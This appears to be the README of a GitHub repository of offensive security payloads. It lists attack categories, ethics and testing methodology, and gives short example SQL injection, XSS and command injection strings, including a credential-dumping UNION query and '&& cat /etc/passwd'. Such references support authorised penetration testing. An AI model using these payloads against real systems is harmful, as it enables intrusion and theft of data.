A comprehensive collection of offensive security payloads, exploit techniques, and penetration testing tools. This repository serves as a reference for security researchers, penetration testers, and cybersecurity professionals conducting authorized security assessments.
Payload Categories
Web Application Security
- SQL Injection - Various SQL injection payloads and bypass techniques
- XSS (Cross-Site Scripting) - Reflected, stored, and DOM-based XSS payloads
- CSRF (Cross-Site Request Forgery) - CSRF attack vectors and bypass methods
- Command Injection - OS command injection and bypass techniques
- File Upload Vulnerabilities - File upload bypass and execution methods
Network Security
- Network Enumeration - Port scanning and service discovery payloads
- Protocol Attacks - DNS, DHCP, and other protocol-based attacks
- Wireless Security - WiFi penetration testing payloads
- Social Engineering - Phishing and social engineering techniques
- Physical Security - Physical access and hardware-based attacks
System Security
- Privilege Escalation - Windows and Linux privilege escalation techniques
- Memory Exploitation - Buffer overflow and memory corruption payloads
- Malware Analysis - Malware reverse engineering and analysis tools
- Forensics - Digital forensics and incident response tools
- Cryptography - Cryptographic attacks and vulnerabilities
Tool Categories
Reconnaissance Tools
- Network Scanners - Port scanners and service enumerators
- Web Crawlers - Automated web application crawlers
- DNS Tools - DNS enumeration and reconnaissance tools
- Social Media OSINT - Open source intelligence gathering tools
Exploitation Frameworks
- Custom Exploits - Custom-written exploits for specific vulnerabilities
- Metasploit Modules - Custom Metasploit modules and scripts
- Exploit Development - Tools for developing custom exploits
- Shellcode Development - Custom shellcode and payload development
Post-Exploitation
- Persistence Mechanisms - System persistence and backdoor techniques
- Lateral Movement - Network lateral movement and pivoting tools
- Data Exfiltration - Data extraction and exfiltration techniques
- Covering Tracks - Anti-forensics and log manipulation tools
Usage Guidelines
Ethical Considerations
- Authorized Testing Only - Use only on systems you own or have explicit permission
- Legal Compliance - Ensure compliance with local and international laws
- Responsible Disclosure - Follow responsible disclosure practices
- Documentation - Maintain detailed documentation of all testing activities
Testing Methodology
- Planning - Define scope and objectives
- Reconnaissance - Gather information about target systems
- Vulnerability Assessment - Identify potential vulnerabilities
- Exploitation - Attempt to exploit identified vulnerabilities
- Post-Exploitation - Maintain access and gather additional information
- Reporting - Document findings and provide remediation recommendations
Installation & Setup
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Clone the repository:
git clone https://github.com/1cbyc/offensive-security-payloads.git cd offensive-security-payloads
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Install dependencies:
pip install -r requirements.txt
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Set up environment:
cp config.example.yaml config.yaml # Configure your testing environment
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Run security tests:
python security_tester.py --target target.com --module web
Payload Examples
SQL Injection Payloads
-- Basic SQL injection
' OR '1'='1
' UNION SELECT NULL--
' UNION SELECT username,password FROM users--
-- Blind SQL injection
' AND (SELECT SUBSTRING(username,1,1) FROM users LIMIT 1)='a'--
' AND (SELECT COUNT(*) FROM users)>5--
-- Time-based blind
' AND (SELECT SLEEP(5) FROM users WHERE username='admin')--
XSS Payloads
<!-- Basic XSS -->
<script>alert('XSS')</script>
<img src=x onerror=alert('XSS')>
<svg onload=alert('XSS')>
<!-- Filter bypass -->
<ScRiPt>alert('XSS')</ScRiPt>
<svg><script>alert('XSS')</script></svg>
Command Injection
# Basic command injection
; ls -la
| whoami
&& cat /etc/passwd
# Filter bypass
`whoami`
$(id)
%0a whoami
Security Testing Framework
Automated Testing
- Vulnerability Scanners - Automated vulnerability assessment tools
- Custom Scripts - Python scripts for specific testing scenarios
- API Testing - REST API security testing tools
- Mobile Testing - Mobile application security testing
Manual Testing
- Code Review - Manual source code security review
- Configuration Review - Security configuration assessment
- Business Logic Testing - Application logic vulnerability testing
- Social Engineering - Human factor security testing
Reporting Templates
Executive Summary
- Risk Assessment - Overall security risk evaluation
- Key Findings - Most critical vulnerabilities identified
- Business Impact - Potential business impact of vulnerabilities
- Recommendations - High-level remediation recommendations
Technical Report
- Methodology - Detailed testing methodology
- Vulnerability Details - Technical details of each vulnerability
- Proof of Concept - Step-by-step reproduction instructions
- Remediation Steps - Detailed remediation instructions
Legal and Compliance
Authorization Requirements
- Written Permission - Explicit written authorization required
- Scope Definition - Clearly defined testing scope
- Contact Information - Emergency contact procedures
- Incident Response - Incident response procedures
Compliance Standards
- OWASP Guidelines - OWASP testing methodology compliance
- NIST Framework - NIST cybersecurity framework alignment
- ISO Standards - ISO 27001 security standard compliance
- Industry Standards - Industry-specific security standards
Project Impact
This collection has been used by:
- Security Researchers - Academic and industry research
- Penetration Testers - Professional security assessments
- Security Teams - Internal security testing and training
- Educational Institutions - Cybersecurity education and training
Future Enhancements
- AI-Powered Testing - Machine learning for vulnerability detection
- Cloud Security - Cloud-specific security testing tools
- IoT Security - Internet of Things security testing
- Mobile Security - Advanced mobile application security testing
- Automation - Enhanced automation and orchestration capabilities